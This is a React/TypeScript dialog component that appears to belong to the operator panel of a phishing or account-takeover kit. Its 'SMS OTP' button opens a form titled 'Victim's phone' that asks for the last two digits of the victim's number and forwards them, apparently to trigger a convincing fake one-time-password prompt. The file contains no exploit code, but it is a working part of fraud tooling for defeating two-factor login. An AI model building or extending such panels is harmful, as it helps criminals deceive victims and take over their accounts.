import { Button } from '@/components/ui/button'
import {
  Dialog,
  DialogContent,
  DialogDescription,
  DialogHeader,
  DialogTitle,
  DialogTrigger
} from '@/components/ui/dialog'
import { Input } from '@/components/ui/input'
import { useState } from 'react'

interface PhoneInputProps {
  emit: () => void
  setCode: (code: string) => void
}

export function PhoneInput ({ emit, setCode }: PhoneInputProps) {
  const [open, setOpen] = useState(false)
  const [code, setCde] = useState<string>('')
  return (
    <Dialog open={open} onOpenChange={setOpen}>
      <DialogTrigger asChild>
        <Button variant={'outline'}>
          SMS OTP
        </Button>
      </DialogTrigger>
      <DialogContent className='sm:max-w-[425px]'>
        <DialogHeader>
          <DialogTitle>Victim's phone</DialogTitle>
          <DialogDescription>
            Write down the victim's phone's last 2 numbers.
          </DialogDescription>
        </DialogHeader>
        <div className='grid gap-4 py-4'>
          <form
            className='grid grid-cols-4 items-center gap-4'
            onSubmit={event => {
              event.preventDefault()
              setCode(code)
              console.log("done")
              emit()
              console.log("done 2")
              setOpen(false)
              console.log("done 3")

            }}
          >
            <Input
              id='name'
              placeholder='39'
              className='col-span-4 border-border h-[45px] px-3'
              value={code}
              onChange={(value) => setCde(value.target.value)}
            />
            <Button type='submit'>Submit</Button>
          </form>
        </div>
      </DialogContent>
    </Dialog>
  )
}
